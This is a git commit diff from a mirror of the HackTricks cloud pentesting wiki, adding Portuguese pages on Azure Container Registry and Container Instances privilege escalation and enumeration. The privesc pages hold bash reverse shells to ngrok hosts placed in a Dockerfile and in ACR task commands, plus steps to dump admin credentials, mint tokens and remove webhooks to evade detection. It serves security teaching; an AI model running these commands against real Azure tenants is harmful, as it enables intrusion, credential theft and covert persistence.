mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-02-05 03:16:37 -08:00
Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation
This commit is contained in:
@@ -408,6 +408,8 @@
|
||||
- [Az - ARM Templates / Deployments](pentesting-cloud/azure-security/az-services/az-arm-templates.md)
|
||||
- [Az - Automation Accounts](pentesting-cloud/azure-security/az-services/az-automation-accounts.md)
|
||||
- [Az - Azure App Services](pentesting-cloud/azure-security/az-services/az-app-services.md)
|
||||
- [Az - Container Registry](pentesting-cloud/azure-security/az-services/az-container-registry.md)
|
||||
- [Az - Container Registry](pentesting-cloud/azure-security/az-services/az-container-instances.md)
|
||||
- [Az - CosmosDB](pentesting-cloud/azure-security/az-services/az-cosmosDB.md)
|
||||
- [Az - Intune](pentesting-cloud/azure-security/az-services/intune.md)
|
||||
- [Az - File Shares](pentesting-cloud/azure-security/az-services/az-file-shares.md)
|
||||
@@ -445,7 +447,7 @@
|
||||
- [Az - Primary Refresh Token (PRT)](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md)
|
||||
- [Az - Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/README.md)
|
||||
- [Az - Blob Storage Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md)
|
||||
- [Az - CosmosDB](pentesting-cloud/azure-security/az-services/az-cosmosDB-post-exploitation.md)
|
||||
- [Az - CosmosDB](pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md)
|
||||
- [Az - File Share Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md)
|
||||
- [Az - Function Apps Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-function-apps-post-exploitation.md)
|
||||
- [Az - Key Vault Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md)
|
||||
@@ -460,14 +462,16 @@
|
||||
- [Az - Azure IAM Privesc (Authorization)](pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md)
|
||||
- [Az - App Services Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md)
|
||||
- [Az - Automation Accounts Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md)
|
||||
- [Az - CosmosDB](pentesting-cloud/azure-security/az-services/az-cosmosDB-privesc.md)
|
||||
- [Az - Container Registry Privesc](pentesting-cloud/azure-security/az-services/az-container-registry-privesc.md)
|
||||
- [Az - Container Instances Privesc](pentesting-cloud/azure-security/az-services/az-container-instances-privesc.md)
|
||||
- [Az - CosmosDB Privesc](pentesting-cloud/azure-security/az-services/az-cosmosDB-privesc.md)
|
||||
- [Az - EntraID Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md)
|
||||
- [Az - Conditional Access Policies & MFA Bypass](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md)
|
||||
- [Az - Dynamic Groups Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md)
|
||||
- [Az - Functions App Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md)
|
||||
- [Az - Key Vault Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md)
|
||||
- [Az - MySQL](pentesting-cloud/azure-security/az-services/az-mysql-privesc.md)
|
||||
- [Az - PostgreSQL](pentesting-cloud/azure-security/az-services/az-postgresql-privesc.md)
|
||||
- [Az - MySQL Privesc](pentesting-cloud/azure-security/az-services/az-mysql-privesc.md)
|
||||
- [Az - PostgreSQL Privesc](pentesting-cloud/azure-security/az-services/az-postgresql-privesc.md)
|
||||
- [Az - Queue Storage Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-queue-privesc.md)
|
||||
- [Az - Service Bus Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md)
|
||||
- [Az - Static Web App Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-static-web-apps-privesc.md)
|
||||
|
||||
BIN
src/images/registry_roles.png
Normal file
BIN
src/images/registry_roles.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 33 KiB |
@@ -0,0 +1,64 @@
|
||||
# Az - Azure Container Instances Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Azure Container Instances
|
||||
|
||||
Para mais informações, consulte:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-container-instances.md
|
||||
{{#endref}}
|
||||
|
||||
### `Microsoft.ContainerInstance/containerGroups/read`, `Microsoft.ContainerInstance/containerGroups/containers/exec/action`
|
||||
|
||||
Essas permissões permitem que o usuário **execute um comando** em um contêiner em execução. Isso pode ser usado para **escalar privilégios** no contêiner se ele tiver alguma identidade gerenciada anexada. Claro, também é possível acessar o código-fonte e qualquer outra informação sensível armazenada dentro do contêiner.
|
||||
|
||||
Para executar um `ls` e obter a saída é tão simples quanto:
|
||||
```bash
|
||||
az container exec --name <container-name> --resource-group <res-group> --exec-command 'ls'
|
||||
```
|
||||
Também é possível **ler a saída** do contêiner com:
|
||||
```bash
|
||||
az container attach --name <container-name> --resource-group <res-group>
|
||||
```
|
||||
Ou obtenha os logs com:
|
||||
```bash
|
||||
az container logs --name <container-name> --resource-group <res-group>
|
||||
```
|
||||
### `Microsoft.ContainerInstance/containerGroups/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
|
||||
|
||||
Essas permissões permitem **anexar uma identidade gerenciada pelo usuário** a um grupo de contêineres. Isso é muito útil para escalar privilégios no contêiner.
|
||||
|
||||
Para anexar uma identidade gerenciada pelo usuário a um grupo de contêineres:
|
||||
```bash
|
||||
az rest \
|
||||
--method PATCH \
|
||||
--url "/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ContainerInstance/containerGroups/<container-name>?api-version=2021-09-01" \
|
||||
--body '{
|
||||
"identity": {
|
||||
"type": "UserAssigned",
|
||||
"userAssignedIdentities": {
|
||||
"/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<user-namaged-identity-name>": {}
|
||||
}
|
||||
}
|
||||
}' \
|
||||
--headers "Content-Type=application/json"
|
||||
```
|
||||
### `Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.ContainerInstance/containerGroups/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
|
||||
|
||||
Essas permissões permitem **criar ou atualizar um grupo de contêiner** com uma **identidade gerenciada pelo usuário** anexada a ele. Isso é muito útil para escalar privilégios no contêiner.
|
||||
```bash
|
||||
az container create \
|
||||
--resource-group <res-group>> \
|
||||
--name nginx2 \
|
||||
--image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \
|
||||
--assign-identity "/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<user-namaged-identity-name>" \
|
||||
--restart-policy OnFailure \
|
||||
--os-type Linux \
|
||||
--cpu 1 \
|
||||
--memory 1.0
|
||||
```
|
||||
Além disso, também é possível atualizar um grupo de contêineres existente adicionando, por exemplo, o argumento **`--command-line`** com um shell reverso.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,115 @@
|
||||
# Az - Azure Container Registry Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Azure Container Registry
|
||||
|
||||
Para mais informações, consulte:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-container-registry.md
|
||||
{{#endref}}
|
||||
|
||||
### `Microsoft.ContainerRegistry/registries/listCredentials/action`
|
||||
|
||||
Esta permissão permite que o usuário liste as credenciais de administrador do ACR. Isso é útil para **obter acesso total** ao registro.
|
||||
```bash
|
||||
az rest --method POST \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ContainerRegistry/registries/<registry-name>/listCredentials?api-version=2023-11-01-preview"
|
||||
```
|
||||
Caso as credenciais de administrador não estejam habilitadas, você também precisará da permissão `Microsoft.ContainerRegistry/registries/write` para habilitá-las com:
|
||||
```bash
|
||||
az rest --method PATCH --uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ContainerRegistry/registries/<registry-name>?api-version=2023-11-01-preview" --body '{"properties": {"adminUserEnabled": true}}'
|
||||
```
|
||||
### `Microsoft.ContainerRegistry/registries/tokens/write`, `Microsoft.ContainerRegistry/registries/generateCredentials/action`
|
||||
|
||||
Essas permissões permitem que o usuário **crie um novo token** com senhas para acessar o registro.
|
||||
|
||||
Para usar o `az cli` para gerá-lo como no exemplo a seguir, você também precisará das permissões `Microsoft.ContainerRegistry/registries/read`, `Microsoft.ContainerRegistry/registries/scopeMaps/read`, `Microsoft.ContainerRegistry/registries/tokens/operationStatuses/read`, `Microsoft.ContainerRegistry/registries/tokens/read`
|
||||
```bash
|
||||
az acr token create \
|
||||
--registry <registry-name> \
|
||||
--name <token-name> \
|
||||
--scope-map _repositories_admin
|
||||
```
|
||||
### `Microsoft.ContainerRegistry/registries/listBuildSourceUploadUrl/action`, `Microsoft.ContainerRegistry/registries/scheduleRun/action`, `Microsoft.ContainerRegistry/registries/runs/listLogSasUrl/action`
|
||||
|
||||
Essas permissões permitem que o usuário **construa e execute uma imagem** no registro. Isso pode ser usado para **executar código** no contêiner.
|
||||
|
||||
>[!WARNING]
|
||||
> No entanto, a imagem será executada em um **ambiente isolado** e **sem acesso ao serviço de metadados**. Isso significa que o contêiner não terá acesso aos **metadados da instância**, então isso não é realmente útil para escalar privilégios.
|
||||
```bash
|
||||
# Build
|
||||
echo 'FROM ubuntu:latest\nRUN bash -c "bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/17585 0>&1"\nCMD ["/bin/bash", "-c", "bash -i >& /dev/tcp//2.tcp.eu.ngrok.io/17585 0>&1"]' > Dockerfile
|
||||
az acr run --registry 12345TestingRegistry --cmd '$Registry/rev/shell:v1:v1' /dev/null
|
||||
```
|
||||
### `Microsoft.ContainerRegistry/registries/tasks/write`
|
||||
|
||||
Esta é a permissão principal que permite criar e atualizar uma tarefa no registro. Isso pode ser usado para **executar um código dentro de um contêiner com uma identidade gerenciada anexada a ele** no contêiner.
|
||||
|
||||
Este é o exemplo de como executar um shell reverso em um contêiner com a **identidade gerenciada do sistema** anexada a ele:
|
||||
```bash
|
||||
az acr task create \
|
||||
--registry <registry-name> \
|
||||
--name reverse-shell-task \
|
||||
--image rev/shell:v1 \
|
||||
--file ./Dockerfile \
|
||||
--context https://github.com/carlospolop/Docker-rev.git \
|
||||
--assign-identity \
|
||||
--commit-trigger-enabled false \
|
||||
--schedule "*/1 * * * *"
|
||||
```
|
||||
Outra maneira de obter um RCE a partir de uma tarefa sem usar um repositório externo é usar o comando `az acr task create` com a flag `--cmd`. Isso permitirá que você execute um comando no contêiner. Por exemplo, você pode executar um shell reverso com o seguinte comando:
|
||||
```bash
|
||||
az acr task create \
|
||||
--registry <registry-name> \
|
||||
--name reverse-shell-task-cmd \
|
||||
--image rev/shell2:v1 \
|
||||
--cmd 'bash -c "bash -i >& /dev/tcp/4.tcp.eu.ngrok.io/15508 0>&1"' \
|
||||
--schedule "*/1 * * * *" \
|
||||
--context /dev/null \
|
||||
--commit-trigger-enabled false \
|
||||
--assign-identity
|
||||
```
|
||||
> [!TIP]
|
||||
> Observe que para atribuir a identidade gerenciada pelo sistema, você não precisa de nenhuma permissão especial, embora ela deva ter sido habilitada anteriormente no registro e ter recebido algumas permissões para ser útil.
|
||||
|
||||
Para atribuir uma **identidade gerenciada pelo usuário também**, você precisaria da permissão `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` para fazer:
|
||||
```bash
|
||||
az acr task create \
|
||||
--registry <registry-name> \
|
||||
--name reverse-shell-task \
|
||||
--image rev/shell:v1 \
|
||||
--file ./Dockerfile \
|
||||
--context https://github.com/carlospolop/Docker-rev.git \
|
||||
--assign-identity \[system\] "/subscriptions/<subscription-id>>/resourcegroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<mi-name>" \
|
||||
--commit-trigger-enabled false \
|
||||
--schedule "*/1 * * * *"
|
||||
```
|
||||
Para **atualizar** o repositório de uma tarefa existente, você pode fazer:
|
||||
```bash
|
||||
az acr task update \
|
||||
--registry <registry-name> \
|
||||
--name reverse-shell-task \
|
||||
--context https://github.com/your-user/your-repo.git
|
||||
```
|
||||
### `Microsoft.ContainerRegistry/registries/importImage/action`
|
||||
|
||||
Com esta permissão, é possível **importar uma imagem para o registro do azure**, mesmo sem ter a imagem localmente. No entanto, observe que você **não pode importar uma imagem com uma tag** que já existe no registro.
|
||||
```bash
|
||||
# Push with az cli
|
||||
az acr import \
|
||||
--name <registry-name> \
|
||||
--source mcr.microsoft.com/acr/connected-registry:0.8.0 # Example of a repo to import
|
||||
```
|
||||
Para **remover ou deletar uma tag de imagem específica** do registro, você pode usar o seguinte comando. No entanto, observe que você precisará de um usuário ou token com **permissões suficientes** para fazê-lo:
|
||||
```bash
|
||||
az acr repository untag \
|
||||
--name <registry-name> \
|
||||
--image <image-name>:<tag>
|
||||
|
||||
az acr repository delete \
|
||||
--name <registry-name> \
|
||||
--image <image-name>:<tag>
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,45 @@
|
||||
# Az - Container Instances
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Informações Básicas
|
||||
|
||||
Azure Container Instances (ACI) fornecem uma **forma sem servidor e sob demanda** de executar **containers** na nuvem Azure. Você pode **implantar** um ou vários containers em um grupo com **computação escalável**, **opções de rede** e a flexibilidade de se conectar a **outros serviços Azure** (como Storage, Virtual Networks ou Container Registries).
|
||||
|
||||
Como são cargas de trabalho **efêmeras**, você não precisa gerenciar a infraestrutura subjacente da VM — a Azure cuida disso para você. No entanto, de uma **perspectiva de segurança ofensiva**, é crucial entender como **permissões**, **identidades**, **configurações de rede** e **logs** podem revelar superfícies de ataque e potenciais configurações incorretas.
|
||||
|
||||
### Configurações
|
||||
|
||||
- Para criar um container, é possível usar uma imagem pública, uma imagem de container de um Azure Container Registry ou um repositório externo, que pode **exigir a configuração de uma senha** para acessá-lo.
|
||||
- Em relação à rede, ele também pode ter um **IP público** ou ser **endpoints privados**.
|
||||
- Também é possível configurar configurações comuns do docker, como:
|
||||
- **Variáveis de ambiente**
|
||||
- **Volumes** (mesmo de Azure Files)
|
||||
- **Portas**
|
||||
- **Limites de CPU e memória**
|
||||
- **Política de reinício**
|
||||
- **Executar como privilegiado**
|
||||
- **Linha de comando para executar**
|
||||
- ...
|
||||
|
||||
## Enumeração
|
||||
|
||||
> [!WARNING]
|
||||
> Ao enumerar ACI, você pode revelar configurações sensíveis, como **variáveis de ambiente**, **detalhes de rede** ou **identidades gerenciadas**. Tenha cuidado ao registrá-las ou exibi-las.
|
||||
```bash
|
||||
# List all container instances in the subscription
|
||||
az container list
|
||||
|
||||
# Show detailed information about a specific container instance
|
||||
az container show --name <container-name> --resource-group <res-group>
|
||||
|
||||
# Fetch logs from a container
|
||||
az container logs --name <container-name> --resource-group <res-group>
|
||||
|
||||
# Execute a command in a running container and get the output
|
||||
az container exec --name <container-name> --resource-group <res-group> --exec-command "ls"
|
||||
|
||||
# Get yaml configuration of the container group
|
||||
az container export --name <container-name> --resource-group <res-group>
|
||||
```
|
||||
|
||||
@@ -0,0 +1,157 @@
|
||||
# Az - Container Registry
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Informações Básicas
|
||||
|
||||
Azure Container Registry (ACR) é um registro privado e seguro que permite **armazenar, gerenciar e acessar imagens de contêiner na nuvem Azure**. Ele se integra perfeitamente com vários serviços do Azure, fornecendo fluxos de trabalho automatizados de construção e implantação em grande escala. Com recursos como geo-replicação e verificação de vulnerabilidades, o ACR ajuda a garantir segurança e conformidade de nível empresarial para aplicações conteinerizadas.
|
||||
|
||||
### Permissões
|
||||
|
||||
Estas são as **diferentes permissões** [de acordo com a documentação](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager) que podem ser concedidas sobre um Container Registry:
|
||||
|
||||
- Acesso ao Resource Manager
|
||||
- Criar/excluir registro
|
||||
- Enviar imagem
|
||||
- Puxar imagem
|
||||
- Excluir dados da imagem
|
||||
- Alterar políticas
|
||||
- Assinar imagens
|
||||
|
||||
Existem também alguns **papéis integrados** que podem ser atribuídos, e também é possível criar **papéis personalizados**.
|
||||
|
||||

|
||||
|
||||
### Autenticação
|
||||
|
||||
> [!WARNING]
|
||||
> É muito importante que, mesmo que o nome do registro contenha algumas letras maiúsculas, você sempre deve usar **letras minúsculas** para fazer login, enviar e puxar imagens.
|
||||
|
||||
Existem 4 maneiras de autenticar-se em um ACR:
|
||||
|
||||
- **Com Entra ID**: Esta é a **maneira padrão** de autenticar-se em um ACR. Ele usa o comando **`az acr login`** para autenticar-se no ACR. Este comando irá **armazenar as credenciais** no arquivo **`~/.docker/config.json`**. Além disso, se você estiver executando este comando de um ambiente sem acesso a um socket docker, como em um **cloud shell**, é possível usar a flag **`--expose-token`** para obter o **token** para autenticar-se no ACR. Então, para autenticar, você precisa usar como nome de usuário `00000000-0000-0000-0000-000000000000`, como: `docker login myregistry.azurecr.io --username 00000000-0000-0000-0000-000000000000 --password-stdin <<< $TOKEN`
|
||||
- **Com uma conta de administrador**: O usuário administrador está desativado por padrão, mas pode ser ativado e então será possível acessar o registro com o **nome de usuário** e **senha** da conta de administrador com permissões totais para o registro. Isso ainda é suportado porque alguns serviços do Azure o utilizam. Note que **2 senhas** são criadas para este usuário e ambas são válidas. Você pode ativá-lo com `az acr update -n <acrName> --admin-enabled true`. Note que o nome de usuário geralmente é o nome do registro (e não `admin`).
|
||||
- **Com um token**: É possível criar um **token** com um **`scope map`** específico (permissões) para acessar o registro. Então, é possível usar este nome de token como nome de usuário e algumas das senhas geradas para autenticar-se no registro com `docker login -u <registry-name> -p <password> aregistry-url>`
|
||||
- **Com um Service Principal**: É possível criar um **service principal** e atribuir um papel como **`AcrPull`** para puxar imagens. Então, será possível **fazer login no registro** usando o appId do SP como nome de usuário e um segredo gerado como senha.
|
||||
|
||||
Exemplo de script da [documentação](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-auth-service-principal) para gerar um SP com acesso a um registro:
|
||||
```bash
|
||||
#!/bin/bash
|
||||
ACR_NAME=$containerRegistry
|
||||
SERVICE_PRINCIPAL_NAME=$servicePrincipal
|
||||
|
||||
# Obtain the full registry ID
|
||||
ACR_REGISTRY_ID=$(az acr show --name $ACR_NAME --query "id" --output tsv)
|
||||
|
||||
PASSWORD=$(az ad sp create-for-rbac --name $SERVICE_PRINCIPAL_NAME --scopes $ACR_REGISTRY_ID --role acrpull --query "password" --output tsv)
|
||||
USER_NAME=$(az ad sp list --display-name $SERVICE_PRINCIPAL_NAME --query "[].appId" --output tsv)
|
||||
|
||||
echo "Service principal ID: $USER_NAME"
|
||||
echo "Service principal password: $PASSWORD"
|
||||
```
|
||||
### Criptografia
|
||||
|
||||
Apenas o **Premium SKU** suporta **criptografia em repouso** para as imagens e outros artefatos.
|
||||
|
||||
### Rede
|
||||
|
||||
Apenas o **Premium SKU** suporta **pontos de extremidade privados**. Os outros suportam apenas **acesso público**. Um ponto de extremidade público tem o formato `<registry-name>.azurecr.io` e um ponto de extremidade privado tem o formato `<registry-name>.privatelink.azurecr.io`. Por essa razão, o nome do registro deve ser único em toda a Azure.
|
||||
|
||||
### Microsoft Defender for Cloud
|
||||
|
||||
Isso permite que você **escaneie as imagens** no registro em busca de **vulnerabilidades**.
|
||||
|
||||
### Soft-delete
|
||||
|
||||
O recurso de **soft-delete** permite que você **recupere um registro excluído** dentro do número de dias indicado. Este recurso está **desativado por padrão**.
|
||||
|
||||
### Webhooks
|
||||
|
||||
É possível **criar webhooks** dentro dos registros. Neste webhook, é necessário especificar a URL onde uma **solicitação será enviada sempre que uma ação de push ou delete for realizada**. Além disso, os Webhooks podem indicar um escopo para indicar os repositórios (imagens) que serão afetados. Por exemplo, 'foo:*' significa eventos sob o repositório 'foo'.
|
||||
|
||||
Do ponto de vista de um atacante, é interessante verificar isso **antes de realizar qualquer ação** no registro e removê-lo temporariamente, se necessário, para evitar ser detectado.
|
||||
|
||||
### Registros conectados
|
||||
|
||||
Isso basicamente permite **espelhar as imagens** de um registro para outro, geralmente localizado no local.
|
||||
|
||||
Possui 2 modos: **ReadOnly** e **ReadWrite**. No primeiro, as imagens são apenas **puxadas** do registro de origem, e no segundo, as imagens também podem ser **enviadas** para o registro de origem.
|
||||
|
||||
Para que os clientes acessem o registro a partir da Azure, um **token** é gerado quando o registro conectado é utilizado.
|
||||
|
||||
### Execuções & Tarefas
|
||||
|
||||
Execuções & Tarefas permite executar ações relacionadas a contêineres no Azure que você normalmente precisaria fazer localmente ou em um pipeline de CI/CD. Por exemplo, você pode **construir, enviar e executar imagens no registro**.
|
||||
|
||||
A maneira mais fácil de construir e executar um contêiner é usando uma Execução regular:
|
||||
```bash
|
||||
# Build
|
||||
echo "FROM mcr.microsoft.com/hello-world" > Dockerfile
|
||||
az acr build --image sample/hello-world:v1 --registry mycontainerregistry008 --file Dockerfile .
|
||||
|
||||
# Run
|
||||
az acr run --registry mycontainerregistry008 --cmd '$Registry/sample/hello-world:v1' /dev/null
|
||||
```
|
||||
No entanto, isso irá acionar execuções que não são muito interessantes do ponto de vista de um atacante, pois não têm nenhuma identidade gerenciada anexada a elas.
|
||||
|
||||
No entanto, **tasks** podem ter uma **identidade gerenciada de sistema e de usuário** anexada a elas. Essas tasks são as úteis para **escalar privilégios** no contêiner. Na seção de escalonamento de privilégios, é possível ver como usar tasks para escalar privilégios.
|
||||
|
||||
### Cache
|
||||
|
||||
O recurso de cache permite **baixar imagens de um repositório externo** e armazenar as novas versões no registro. É necessário ter algumas **credenciais configuradas** selecionando as credenciais de um Azure Vault.
|
||||
|
||||
Isso é muito interessante do ponto de vista de um atacante, pois permite **pivotar para uma plataforma externa** se o atacante tiver permissões suficientes para acessar as credenciais, **baixar imagens de um repositório externo** e configurar um cache também pode ser usado como um **mecanismo de persistência**.
|
||||
|
||||
## Enumeração
|
||||
|
||||
> [!WARNING]
|
||||
> É muito importante que, mesmo que o nome do registro contenha algumas letras maiúsculas, você deve usar apenas letras minúsculas na URL para acessá-lo.
|
||||
```bash
|
||||
# List of all the registries
|
||||
# Check the network, managed identities, adminUserEnabled, softDeletePolicy, url...
|
||||
az acr list
|
||||
|
||||
# Get the details of a registry
|
||||
az acr show --name <registry-name>
|
||||
|
||||
# List tokens of a registry
|
||||
az acr token list --registry <registry-name> --resource-group <res-group>
|
||||
|
||||
# List repositories in a registry
|
||||
az acr repository list --name <registry-name> --resource-group <res-group>
|
||||
|
||||
# List the tags of a repository
|
||||
az acr repository show-tags --repository <repository-name> --name <registry-name> --resource-group <res-group>
|
||||
|
||||
# List deleted repository tags
|
||||
## At the time of this writing there isn't yet any command to restore it
|
||||
az acr repository list-deleted --name <registry-name>
|
||||
|
||||
# List tasks
|
||||
## Check the git URL or the command
|
||||
az acr task list --registry <registry-name>
|
||||
|
||||
# List tasks runs
|
||||
az acr task list-runs --registry <registry-name>
|
||||
|
||||
# List connected registries
|
||||
az acr connected-registry list --registry <registry-name>
|
||||
|
||||
# List cache
|
||||
az acr cache list --registry <registry-name>
|
||||
|
||||
# Get cache details
|
||||
az acr cache show --name <cache-name> --registry <registry-name>
|
||||
```
|
||||
## Escalação de Privilégios & Pós Exploração
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-automation-accounts-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
## Referências
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/container-registry/container-registry-authentication?tabs=azure-cli](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-authentication?tabs=azure-cli)
|
||||
- [https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
Reference in New Issue
Block a user